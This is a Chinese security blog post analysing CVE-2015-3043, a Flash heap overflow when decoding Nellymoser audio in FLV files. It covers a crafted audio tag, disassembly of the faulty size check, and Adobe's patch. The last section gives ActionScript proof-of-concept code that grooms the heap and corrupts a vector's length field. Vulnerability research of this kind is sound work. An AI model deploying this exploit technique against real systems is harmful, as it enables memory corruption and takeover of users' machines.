当前位置:安全客 >> 知识详情

CVE-2015-3043 Adobe Flash FLV Aduio Nellymoser Decoding Heap Buffer Overflow漏洞分析

2015-04-21 11:45:49 阅读:0次 收藏 来源: 古河@360互联网安全中心

http://p2.qhimg.com/t01562318b61c12e69a.jpg

周末看了FireEye的blog,提到了这次他们抓到的flash 0day CVE-2015-3043:

https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

由于我们手头还没有真实样本,也没有PoC,所以尝试了一下自己构造PoC,分析了一下成因,记录如下:

1. 漏洞描述和触发的PoC

该漏洞可以描述为:Flash在播放FLV文件时,当解压Nellymoser压缩的音频tag时,由于没有正确检查所需的buffer长度,而发生了buffer overflow。

这个漏洞可以通过构造特定的audio tag来触发,根据FireEye Blog提到的漏洞细节,我们可以很轻易地构造出触发的tag:

http://p8.qhimg.com/t01eda9dcdd3251df3f.jpg

我们构造的tag如上图所示,关键字段:

Type:   8// Audio Tag

Datasize: 1089 (0x441)// 这里并非一定要是1089,只要保证解压的sample_count * sample_size > 0x1000,配合其它字段,即可溢出

Fmt: 6// 表示codec是Nellymoser,并非一定要6,这里4,5,6都可以触发0x2000大小buffer的分配

详细的FLV格式文档可以参阅:

http://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf

2. 漏洞成因调试分析

首先看一下这里被溢出的buffer,其大小为固定的0x2000,它的作用是用来作为audio解码的中间buffer使用,分配这个buffer的地方在:

.text:101BDDB0 loc_101BDDB0:                           ; CODE XREF: sub_101BDD38+4Dj
.text:101BDDB0                                         ; sub_101BDD38+F9j
.text:101BDDB0                 push    2000h
.text:101BDDB5                 mov     ecx, esi
.text:101BDDB7                 call    AllocDecodeBuffer


AllocDecodeBuffer函数没有太多需要讲,传入一个参数size,分配相应大小的buffer。而这里值得注意的是只有当压缩格式是4, 5, 6(代码这里对应0x40, 0x50和0x60,即Nellymoser 16-kHz mono,Nellymoser 8-kHz mono和Nellymoser)时,这个0x2000的decode buffer才会被分配:

 

 *(_DWORD *)(v1 + 36) = sub_101090E9(*(_DWORD *)(v1 + 104), 1);
  if ( *(_DWORD *)(v1 + 104) == 0x40 )
    goto LABEL_9;
  if ( *(_DWORD *)(v1 + 104) == 0x50 )
  {
LABEL_14:
    *(_DWORD *)(v1 + 144) = 11025;
    goto LABEL_10;
  }
  if ( *(_DWORD *)(v1 + 104) == 0x60 )
  {
LABEL_10:
    AllocDecodeBuffer(v1, 0x2000);
    goto LABEL_11;
}


看完分配的地方,我们再来看一下溢出的地方:

.text:101BE0C2                 push    eax
.text:101BE0C3                 push    dword ptr [esi+0C8h]
.text:101BE0C9                 push    edx
.text:101BE0CA                 call    GetSampleCount  ; ??? Get the sample count 
after decoded???
.text:101BE0CF                 mov     ecx, [esi+0D8h] ; ??? size in bytes of each sample???
.text:101BE0D5                 imul    ecx, eax
.text:101BE0D8                 add     esp, 0Ch
.text:101BE0DB                 cmp     ecx, [esi+0E0h] ; size of decode buffer, 0x2000
.text:101BE0E1                 mov     [ebp+var_4], edi
.text:101BE0E4                 jg      short loc_101BE0FB
.text:101BE0E6                 mov     ecx, [esi+24h]
.text:101BE0E9                 mov     edx, [ecx]
.text:101BE0EB                 push    edi
.text:101BE0EC                 push    eax
.text:101BE0ED                 push    dword ptr [esi+0DCh]
.text:101BE0F3                 call    dword ptr [edx+8] ; !!!decode function, overflow!!!


注意这里加???的注释都是我的推断,因为没有源码无法最终确认,但是从音频解码的一些常识来看,应该大差不差。

把以上汇编翻译成代码的话大概是这样:

int32 sample_count = GetSampleCount(…);
if ( sample_count * sample_size <= 0x2000 ) {
         Decode(decode_buffer, sample_count, …);    // overflow here
}


我们可以看到在decode之前是对buffer大小有检查的,那为什么还会溢出呢? 我们先来看看sample_count和sample_size是怎么得到的:

int __cdecl GetSampleCount(signed int fmt, int audiodata, int a3)
{
  signed int v3; // eax@1
  int result; // eax@7
v3 = *(_DWORD *)(audiodata + 12) - *(_BYTE *)(audiodata + 24);  // v3 = 0x441 – 1 = 0x440,即该tag的总长度-1,减去的这1个字节应该就是包含fmt的那个字节
  if ( fmt <= 0x50 )
  {
    if ( fmt == 0x50 )
      return (v3 << 8) / 64;
    if ( !fmt )
      return v3 / (*(_BYTE *)(a3 + 4) * *(_BYTE *)(a3 + 5));
    if ( fmt == 16 )
      return *(_DWORD *)a3 / 5512 << 8;
    if ( fmt == 0x30 )
      return v3 / (*(_BYTE *)(a3 + 4) * *(_BYTE *)(a3 + 5));
    if ( fmt == 0x40 )
      return (v3 << 8) / 64;
    return -1;
  }
  if ( fmt == 0x60 )
    return (v3 << 8) / 64;
  if ( fmt == 112 || fmt == 128 )
  {
    result = 640;
  }
  else
  {
    if ( fmt != 176 )
      return -1;
    result = 2560;
  }
  return result;
}


以上代码非常简单,当fmt是0x40,0x50,0x60即Nellymoser系列时,

sample_count = (datasize - 1) * 0x100 / 0x40

那么这个公式是怎么来的呢?我们简单查阅了Nellymoser codec的相关资料和代码:

http://en.wikipedia.org/wiki/Asao_(codec)

http://samples.mplayerhq.hu/A-codecs/Nelly_Moser/ASAO/ASAO.zip

通过相关资料和代码,我们知道,Nellymoser解码过程为:

Nellymoser每一个frame是256(0x100)个sample,压缩成64(0x40)字节,所以用来计算sample个数的公式就很容易理解了,同时这个也是我们认为这个函数的逻辑是“GetSampleCount”的原因:

sample_count = (datasize - 1) * 0x100 / 0x40

可以看到GetSampleCount这个函数是没有问题的,那就是后面的比较出问题了。

下面来看sample_size,之所以这样命名,是因为这个值应该代表每一个sample的大小,通过改变audiodata字节里面的SoundRate和SoundSize字段,我们可以让其取值为1, 2或者4。然后再来看大小检查的地方:

if ( sample_count * sample_size <= 0x2000 )

// 在我们的poc里:

// sample_count = (0x441 - 1) * 0x100 / 0x40 = 0x1100

// sample_size = 1

// sample_count * sample_size = 0x1100 < 0x2000

貌似没啥问题啊?但是通过跟踪decode函数我们发现,向deocode_buffer里面拷贝解码后的数据时,一个sample并非占一个字节,而是两个字节:

184a9aa2 8d043f          lea     eax,[edi+edi]
184a9aa5 50              push    eax
184a9aa6 8b8630010000    mov     eax,dword ptr [esi+130h]
184a9aac 8d0441          lea     eax,[ecx+eax*2]
184a9aaf 50              push    eax
184a9ab0 ff7508          push    dword ptr [ebp+8]
184a9ab3 e878ac7000      call    __memcpy                   // copy decoded data
0:028> dd esp
2068f884  1f1cd200 1d14fb60 00000200 00000000


前面已经介绍过,Nellymoser decode时,以0x40字节为一个frame (我们的poc的data长度是0x440,一共0x11个frame),解出0x100个sample,这里在拷贝一个frame的deocoded data时,拷贝的是0x200大小,证明这里一个decode后的sample占2字节,观察附近的代码也可以看到这里操作的数组是int16数组。

至此原因就很清楚了,当sample_count是0x1100时,真正需要的buffer长度是0x2200,产生了0x200字节的溢出。

3.补丁分析

下面我们来看看Adobe是怎么补这个漏洞的(补法有点奇怪):

int __cdecl GetSampleCount(signed int codec, int tag, int a3)
{
  signed int v3; // eax@1
  int result; // eax@7
  v3 = *(_DWORD *)(tag + 12) - *(_BYTE *)(tag + 24);
  if ( codec <= 80 )
  {
    if ( codec == 80 )
      goto LABEL_7;
    if ( !codec )
      return v3 / (*(_BYTE *)(a3 + 4) * *(_BYTE *)(a3 + 5));
    if ( codec == 16 )
      return *(_DWORD *)a3 / 5512 << 8;
    if ( codec == 48 )
      return v3 / (*(_BYTE *)(a3 + 4) * *(_BYTE *)(a3 + 5));
    if ( codec == 64 )
      goto LABEL_7;
    return -1;
  }
  if ( codec != 96 )
  {
    if ( codec == 112 || codec == 128 )
      return 640;
    if ( codec == 176 )
      return 2560;
    return -1;
  }
LABEL_7:
  result = (v3 << 8) / 64;
  if ( result > 0x400 )
    result = 0x400;
  return result;
}


补的是GetSampleCount函数,Nellymoser decode时,限制了返回值的大小不超过0x400。这样需要的decode buffer size最多是0x400 * 4 * 2 = 0x2000,于是这个0x2000的decode buffer就不会溢出了,不会溢出了,溢出了,出了,了。。。

但是说实话,这个洞,怎么想也不应该在这里补吧,真正有问题的是比较decode buffer是否够大的地方,

if ( sample_count * sample_size <= 0x2000 )

这里应该计算出真正需要的buffer大小才对。现在的补法确实解决了这个漏洞的问题,但是总感觉没有把根源解决掉,而很多时候,root cause不补,是要被爆菊的。

另外,这里的计算方法,以及各种带符号的比较其实也有点问题,如果datasize  >=  0x800001时,我们看看GetSampleCount返回了什么:


Breakpoint 0 hit
63c967d4 e80fafffff      call    Flash32_17_0_0_169+0x1a16e8 (63c916e8) // GetSampleCount
0:023> t
63c916e8 8b442408        mov     eax,dword ptr [esp+8] ss:0023:099ffa34=053a63e0
0:023> p
63c916ec 0fb64818        movzx   ecx,byte ptr [eax+18h]     ds:0023:053a63f8=01
0:023> p
63c916f0 8b400c          mov     eax,dword ptr [eax+0Ch] ds:0023:053a63ec=00800001
0:023> p
63c916f3 2bc1            sub     eax,ecx
0:023> p
63c916f5 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:099ffa30=00000060
0:023> p
63c916f9 83f950          cmp     ecx,50h
0:023> p
63c916fc 7f54            jg      Flash32_17_0_0_169+0x1a1752 (63c91752)  [br=1]
0:023> p
63c91752 83e960          sub     ecx,60h
0:023> p
63c91755 74bc            je      Flash32_17_0_0_169+0x1a1713 (63c91713)  [br=1]
0:023> p
63c91713 c1e008          shl     eax,8
0:023> p
63c91716 99              cdq
0:023> p
63c91717 83e23f          and     edx,3Fh
0:023> p
63c9171a 03c2            add     eax,edx
0:023> p
63c9171c c1f806          sar     eax,6
0:023> p
eax=fe000000 ebx=00000000 ecx=00000000 edx=0000003f esi=05c16020 edi=00000000
eip=63c9171f esp=099ffa2c ebp=099ffa4c iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
Flash32_17_0_0_169+0x1a171f:
63c9171f b900040000      mov     ecx,400h
0:023> p
63c91724 3bc1            cmp     eax,ecx
0:023> p
63c91726 7e02            jle     Flash32_17_0_0_169+0x1a172a (63c9172a)  [br=1]
0:023> p
63c9172a c3              ret
0:023> p
eax=fe000000 ebx=00000000 ecx=00000400 edx=0000003f esi=05c16020 edi=00000000
eip=63c967d9 esp=099ffa30 ebp=099ffa4c iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
Flash32_17_0_0_169+0x1a67d9:
63c967d9 8b8ed8000000    mov     ecx,dword ptr [esi+0D8h] ds:0023:05c160f8=00000001


这里由于算术右移带上了符号,然后和0x400的比较也是有符号比较,于是GetSampleCount返回了sample_count = 0xfe000000,接着和0x2000的带符号比较也可以通过,最终这个值会传入decode函数,所幸decode函数一开始检查了sample_count必须 > 0,所以不会造成进一步的溢出。

4.poc

这个漏洞的利用方法,FireEye的Blog已经讲得很清楚了,我们用0x2000大小的vector制造一些空洞,然后让decode_buffer分配在某个空洞里,直接溢出下一个vector的长度字段,然后我们就有了一个超大vector:

http://p9.qhimg.com/t01c2b3e6430a14c99e.jpg

相关代码如下:

package 
{
         import flash.display.Sprite;
         import flash.events.Event;
         import flash.external.ExternalInterface;
         import flash.events.*;
         import flash.media.*;
         import flash.net.*;
         import flash.utils.ByteArray;
         public class Main extends Sprite 
         {
                   public var bytes:Class;
                   public var video:Video = new Video(640, 480);
                   public var vecVectors:Vector.<Object>;
                   public function Main():void {
                            //ExternalInterface.call("hello", '1');
                            addChild(video);
                            var nc:NetConnection = new NetConnection();
                            nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect);
                            nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace);
                            var metaSniffer:Object=new Object();  
                            //nc.client=metaSniffer;
                            metaSniffer.onMetaData=getMeta;
                            nc.connect(null);
                            var ns:NetStream = new NetStream(nc);
                            ns.client = metaSniffer;
                            video.attachNetStream(ns);
                            vecVectors = new Vector.<Object>(0x1000);
                            for ( var i = 0; i < vecVectors.length; ++ i ) {
                                     vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
                                     vecVectors[i][0] = 0x11111111;
                                     vecVectors[i][0] = 0x22222222;
                                     vecVectors[i][0] = 0x22222222;
                            }
                            for ( var i = 0; i < vecVectors.length; i += 2 ) {
                                     vecVectors[i] = null;
                            }
                            ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged);
                            ns.play("poc2.flv");
                   }
                   function go() {
                            var bigVector:Vector.<uint> = null;
                            for ( var i = 1; i < vecVectors.length; i += 2 ) {
                                     if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
                                                        bigVector = vecVectors[i] as Vector.<uint>;
                                                        break;
                                     }
                            }
                            if ( null == bigVector ) {
                                     return;
                            }
                            ExternalInterface.call('hello', 'I have a big vector with length: ' + vecVectors[i].length.toString(16));
                   }
                   function statusChanged(stats:NetStatusEvent) {
                            if (stats.info.code == 'NetStream.Play.Stop') {
                                      //ExternalInterface.call("hello", '2');
                                      go();
                            }
}
                   private function getMeta (mdata:Object):void {
                            video.width=mdata.width/2;
                            video.height=mdata.height/2;
                   };
                   private function onConnect(e:NetStatusEvent):void {
                            return;
                   }
         }
}


5.参考资料

[1] https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

[2] http://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf

[3]  http://en.wikipedia.org/wiki/Asao_(codec)

[4] http://samples.mplayerhq.hu/A-codecs/Nelly_Moser/ASAO/ASAO.zip


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/357.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
大表哥 2016-05-15 23:23:34
回复 |  点赞

虽然看不懂,但是很用心

查看更多